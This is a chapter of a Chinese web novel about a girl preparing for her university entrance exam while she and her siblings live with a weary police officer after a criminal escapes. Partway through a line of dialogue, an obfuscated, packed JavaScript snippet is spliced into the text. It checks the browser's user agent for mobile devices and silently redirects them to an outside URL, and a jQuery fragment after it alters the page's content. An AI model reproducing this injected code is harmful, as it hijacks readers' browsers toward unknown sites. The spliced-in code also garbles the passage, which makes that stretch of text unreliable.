清晨的光线透过窗帘的缝隙洒进来，落在一张铺满练习册和笔记本的书桌上。闹钟在桌角不停地嘀嗒作响，指针缓缓逼近六点。


    阮云琛坐在桌边，头低得几乎要贴上试卷，笔尖在纸面上飞快地划动，发出细碎的沙沙声。她的手肘旁放着一杯凉透的茶水，茶叶沉在杯底，显得毫无生气。


    一旁的墙上贴着一张高考倒计时表，红色的数字格外醒目：还有30天。


    门外传来脚步声，不轻不重，一下接着一下，很有节奏。


    阮云琛抬头看了一眼门口，片刻后又低下头，专注于手中的最后一道题。


    “姐。”阮秋推开门，手里端着一碗热腾腾的粥。他穿着校服，领口敞开，鞋子没穿袜子，整个人看起来懒懒散散的。


    “怎么了？”阮云琛头也不抬，语气平淡。


    “早点吃了。”他把碗放在桌上，顺手把她杯里的凉茶端走，动作熟练得像是每天都在做这件事。


    “放那儿吧。”她继续写题，笔尖划过纸面的速度一点没减慢。


    阮秋低头看着她，目光落在她有些发白的嘴唇上：“少熬夜，太困了的话，看多少也都是白看。”


    “知道。”她答得敷衍，翻过试卷的最后一页。


    阮秋站了两秒，没再多说什么，转身走了出去。走廊里传来他推开淼淼房门的声音，隐约还能听到淼淼不耐烦的嘟囔声。


    屋里重新安静下来，只有笔尖划动的声音。阮云琛的目光落在倒计时表上，数字像是一块隐隐压着她胸口的石头，提醒她离目标越来越近，同时也越来越重。


    宋祈没有落网。


    和安堂是倒了，那个昏暗嘈杂的地方被查封，楼下的霓虹招牌被人连夜砸碎，支离破碎的灯管扔在垃圾堆里，连光都散得寒碜。


    余党虽然还有，但也都在逃窜，没人敢再这么明目张胆地为非作歹。


    可那个人却消失了。


    他彻彻底底地从这个城市里抽离，像根针扎进海里，无声无息。


    警方推测他逃去了海外。有人说他换了身份，藏在某个谁也查不到的地方；也有人说，他早就死了，尸体随着货轮沉在了大洋深处。


    消息在廖致远的案头堆了几次，又被他扔进档案柜封存起来。


    可阮云琛知道——他还在。


    那种感觉扎得太深，无法拔除。即便现在，她仍能在某个阳光灿烂的清晨，莫名地感到一阵凉意，像有一道阴影从她背后掠过。


    “他短时间回不来。”廖致远的声音平静，却带着某种试图压下的烦躁，“但如果他想回来，没人拦得住。”


    那天，阮云琛打电话给他，电话那头是片刻的沉默，随后是一声略显疲惫的“说吧”。


    她几乎是用尽了全身的力气才让自己的声音听上去像平常一样：“帮帮我......求您。”


    沉默再次拉长，只有电流的嗡嗡声在听筒里若隐若现。阮云琛觉得时间被拉得很慢，每一秒都像钉子一样敲在心口。


    “我可以帮你。”他说，声音里透着一丝疲惫，停顿了一下，又补充道，“但有些事情，总得靠你自己解决。”


    阮云琛没有回答，喉咙像被什么堵住了一样。她听着话筒里电流的轻微嗡鸣，像是时间被拉得极长，而空气凝滞在某个难以言说的瞬间里。


    电话对面的警察似乎还想说点什么，像是提起福利院，或者别的什么。话到嘴边，却终究没说出口。


    沉默在两端拉长到几乎让人忘记这是一个通话时，他的声音再次传来——平静得没有任何起伏。


    “你们搬到我家吧。”


    简单的一句话忽地砸在了耳边，却像是整个世界突然静止了片刻。


    阮云琛的手紧攥着电话听筒，指尖无意识地用力。她的第一反应是迟疑，甚至有些不敢相信自己的耳朵。


    但他没有解释，也没有等她回答，就像这不过是一个最普通不过的安排，不值得过多讨论。


    那天的电话在一阵短暂的忙音中结束了。


    后来，廖致远真的开车来接了他们。


    那是一辆老旧的车，车头带着些许划痕，后备箱里堆满了杂乱的资料袋和半空的水瓶。


    阮云琛坐在后座，旁边是兴奋的淼淼和怔忪的阮秋，窗外是阳光明媚的街道和一排排连着的梧桐树，枝叶投下斑驳的影子，随着车速在她眼前飞快地晃过。


    他们搬去了廖致远的小公寓。


    他那分配的小公寓不大，一共就一间卧室一间书房，廖致远把自己那间给收拾了出来——毕竟平日里也不常回家。


    阮云琛把这间最大的让给了淼淼，阮秋住在了书房，廖致远想了想，在客厅用帘子隔了个小间出来，当阮云琛的卧室，他自己则随便在沙发上躺一躺——不算拥挤，但阮云琛原本并不打算这样。


    她当初站在电话机旁的时候，已经想好了台词——她只是需要一点帮助，暂时的，不会占用对方太多时间和资源。


    她甚至已经规划好了住回老地方的生活，尽管那儿的环境算不上安全，但至少是她熟悉的，能掌控的。她从不奢望让任何人真正插手自己的生活。


    可廖致远的态度坚决得让她无法拒绝。


    “回自己家？”他皱起眉头，像是在听一个笑话，“你觉得你有能力去对抗一切？”


    她本想争辩，但话到嘴边，又觉得他的话有道理。那些沉重的可能性像是钝刀子一样磨在她的脑海里，最终把她所有的理由都削成了沉默。


    廖致远看着她，没有再继续追问什么。他没有更多的语言，也没有表现出任何慷慨或善意的姿态，只是冷淡而干脆地说了一句：“住到我那儿去吧。”


    他的语气平静得几乎没有情绪，像是在宣布一项任务，而不是提供一份帮助。


    阮云琛知道，这个决定对他来说并不轻松。


    他的生活并不比她们轻松多少，甚至可以说是一地鸡毛。


    他的书桌永远被散乱的文件占据，电话总是响个不停，连家里的餐具都只有几双，还是那种市场上随便买的最便宜的款式。


    廖致远并不是主动的那种人。


    他不会多管闲事，也不会没事找事。可一旦接受了这份麻烦，他就会尽力做好。


    “我说了，搬过来。”那天，他站在车旁，钥匙在指尖轻轻转着，语气平静又不容置疑，“你们......还只是孩子。”


    阮云琛听见这句话的时候，脑子里突然卡住了。


    她很少被人当成“孩子”。福利院的那段日子把“依赖”从她的字典里抹去了。


    可现在，这个疲惫又纠结的中年男人，用一种几乎是责备的口气，把这两个字硬生生塞回了她的生活里。


    ——就像那年雨夜。


    九岁那年的雨夜，他站在警车旁，撑着一把黑伞，告诉她：“放心，没人会伤害你们。”


    阮云琛缓缓地深呼吸了口气。


    廖致远的家比阮云琛想象的要小。


    那是单位分配的家属楼，老式的防盗门吱呀一声开了，露出一间带着霉味的客厅。


    墙角的白漆剥落得斑驳，地板发出轻微的嘎吱声，光线从窗户投进来，带着一种过分直白的冷静。


    “就这儿了。”廖致远站在门口，点了点头，“凑合着住吧。”


    廖致远没问她具体经历了什么，也没向别人提起。


    他看起来就像是个什么都没听见、什么都没看见的局外人。可两人都知道，那层隔膜已经被刺破了，只是谁也没有明白着说出口而已。


    那之后，过去了一年。


    阮云琛靠在椅子上，目光扫过桌上的倒计时表。红色的数字一天天往下减，墙角贴着的计划表上满是她用红笔划掉的痕迹，密密麻麻，像某种无声的警告。


    淮龙小学的那位老教师真的帮阮云琛写了推荐信，附高的教务处给阮云琛了一套理综和和一套文综的题，她全答了出来——他们虽有些难以置信，没想过这么个小学没读完、又缺了整个初中的人会有这样的本事，但还是把全额奖学金给发了下来。


    这一年里，廖致远替阮秋处理了身份。


    阮秋拿到身份证那天，整个人都愣住了。他捏着那张薄薄的蓝色塑料片站在门口，半晌才低声开口：“……这是真的？”


    没人回答他。


    阮云琛伸手拿走了身份证，扫了一眼，放进抽屉里：“好好学习，别辜负人家跑来跑去的功夫。”


    “哦。”他低低应了一声，随后转身进了房间，动作很快，却掩饰不住自己兴奋的心情。


    日子就这样一天天过去了。


    奖学金的通知挂在墙上，纸页已经有些发黄，边角微微卷起，像是被太多双眼睛注视过一样。


    阮秋偶尔会站在它面前，低头系鞋带的时候多瞥几眼，却从来不说什么。


    淼淼倒是兴奋，拿着圆珠笔在表格上的名字旁画了一个小小的五角星，跑去告诉阮云琛：“姐，你真的很厉害！”


    阮云琛从书堆里抬起头，看了她一眼，伸手拨了拨她的额发，没有说话。


    相比之下，廖致远几乎很少出现在家里。


    他很忙，日不着家，桌上的灰总是落得比人影多。


    “廖叔今天回来吃饭吗？”淼淼夹着一块土豆，坐在餐桌旁，声音里带着一丝小心翼翼。


    问完又自顾自地摇了摇头，低声补了一句：“估计又加班了吧。”


    她的语气里透着点小小的遗憾，却又像是早已习惯了。


    阮云琛没有接话。


    碗里的汤已经凉了半边，油花浮在表面，偶尔轻轻晃动一下，像是微弱的喘息。


    她低头夹了一筷子青菜，语气不带波澜地说：“吃完了就去做作业。”


    淼淼点点头，埋头把最后一口饭扒进嘴里，跳下椅子跑回房间，脚步声轻轻地在走廊里回响。


    “姐，洗碗我来吧。”阮秋从她手里接过碗，动作自然得像是每天都在做这件事。他用肩膀顶了顶厨房的门，声音闷在水龙头的哗哗声里：“你再忙下去，连试卷都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093036|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    写不完了。”


    阮云琛靠在椅背上，目光落在桌角那张皱巴巴的奖学金通知书上，嘴角微微动了一下，似笑非笑地问：“你行吗？”


    “试试不就知道了。”他没回头，只是把碗放进水槽，随手拉过一条毛巾搭在肩膀上，瘦削的背影在昏黄的灯光下显得格外认真。


    她看了他一眼，没有再说话，起身走回了自己的房间。


    房间里安静下来，倒计时表上的数字已经划去一半，墙角的光影随着风扇轻轻晃动，像是某种难以安定的情绪。


    阮云琛坐在书桌前，翻开笔记本，手指在边角轻轻摩挲了两下。廖致远的房间就在隔壁，门关着，像是一堵无形的墙，隔开了他们和他自己的生活。


    这不是个温暖的家，阮云琛知道，淼淼也知道，甚至阮秋都看得清楚，只是没人说破而已。


    廖致远的生活太空了，空到连屋子都显得不像是有人住的。


    他很少提起自己，家里唯一可以称得上是“个人痕迹”的东西，或许就是挂在卧室墙上的一张旧合照。


    照片上的女人年轻漂亮，笑容里带着一丝张扬。


    廖致远没提过她，只字不提。


    淼淼好奇过一次，站在照片前小声问：“廖叔，这是谁啊？”


    “一个朋友。”他回答得很随意，连头都没抬，手里的笔在报告上画了个圈，就把话题随手掐断了。


    后来，阮云琛无意间听邻居提起过一次——廖致远的老婆在三年前离开了，他自己说是“走散了”，那天之后就彻底没了音讯。


    说是廖致远自己去警察备案，让人找了一段时间，可最后也不了了之。


    “听说她也没带什么东西走，连身份证都留在家里。”邻居低声感慨，“说是走散了，谁知道呢……有些事，怕是没法说清楚了。”


    这些事从没从廖致远嘴里亲口说出来。


    没人问，他也不提。可有些东西即使没人说破，依旧像空气里的霉味一样，潜伏在角落里，没人看见，却无处不在。


    像廖致远的家庭，像阮云琛的过去。


    阮云琛低头看了看手表，放下筷子站了起来。椅子在地板上拖出一声轻响，她转身从沙发扶手上拿起外套，随手抖了抖衣袖上的褶皱。


    “姐，晚上几点回来？”淼淼仰头看着她，脸上写满了不情愿。


    “八九点吧。”阮云琛一边穿外套一边答，声音不高，带着一贯的平淡。


    淼淼撅起嘴，眉头皱成一个小小的“川”字，似乎有点不高兴。她抱着手臂靠在椅背上，低声嘟囔了一句：“你每天都这么晚回来。”


    阮云琛低头整理衣领，没有回应，只是伸手拿起了放在茶几上的钥匙。


    “快别撅嘴了。”阮秋靠在椅子上，半侧过头看着淼淼，嘴角带着一点淡淡的笑意，“姐又不是去玩儿，不然你替她去打工？”


    淼淼鼓了鼓腮帮子，睁大眼睛瞪他：“才不要呢！我才不要像你这样整天讲大道理。”


    阮秋笑了一下，伸手拍了拍她的脑袋：“好吧，那你赶紧说，晚上想吃什么？”


    淼淼闻言，眼睛一亮，坐直了身体，一字一顿地说：“我要——巨无霸鸡肉汉堡！姐姐店里的！”


    “汉堡？”阮秋扬了扬眉，看着她认真点头，语气故作嫌弃，“你最近吃了几个汉堡了？小心不消化，吃胖了没人要。”


    “才不会！”淼淼气呼呼地叉着腰，声音拔高了几分，“我才不胖！而且汉堡很好吃！”


    阮云琛站在门边，手搭在门把上，回头看了他们一眼：“行了，别吵了，晚上等我回来再说。”


    她顿了一下，又补充了一句：“别给我吃光冰箱里最后一点青菜。”


    阮秋笑着应了一声：“放心，不会的。”


    门轻轻关上，屋子里重新归于平静。


    淼淼趴在椅背上，目送着阮云琛的背影消失在门外，扭头小声问阮秋：“姐每天这么晚回来，什么时候能休息啊？”


    阮秋把碗里最后一块土豆送进嘴里，抬眼扫了她一眼，慢吞吞地嚼完才说：“她休息了谁给你买汉堡？”


    “那我不要汉堡了！”淼淼嘟着嘴，胳膊抱在胸前，像是在抗议。


    阮秋低头笑了一声，把碗叠起来送进厨房。他站在水槽前，低头用水冲刷着油腻的碗碟，手上的动作很慢，却不见丝毫停顿。厨房的灯光从他侧脸投下来，勾出一片柔和的阴影。


    “不要汉堡也晚回来。”他说，声音压得很低，像是自言自语。


    淼淼趴在桌上，耳朵贴着桌面，听着远处传来的水流声，嘀咕了一句：“大人总是这么麻烦。”


    阮秋没有接话。


    他把碗洗了干净，搁在沥水架上，又用毛巾擦了擦手，才转身走回客厅：“收拾一下，等会送你上学。”


    淼淼“哦”了一声，不太高兴地鼓起了嘴。


    桌上的计划表被风吹动了一角，微微晃动着，像一页未翻完的书。


    而那计划表下面，有一把扁扁的折叠刀。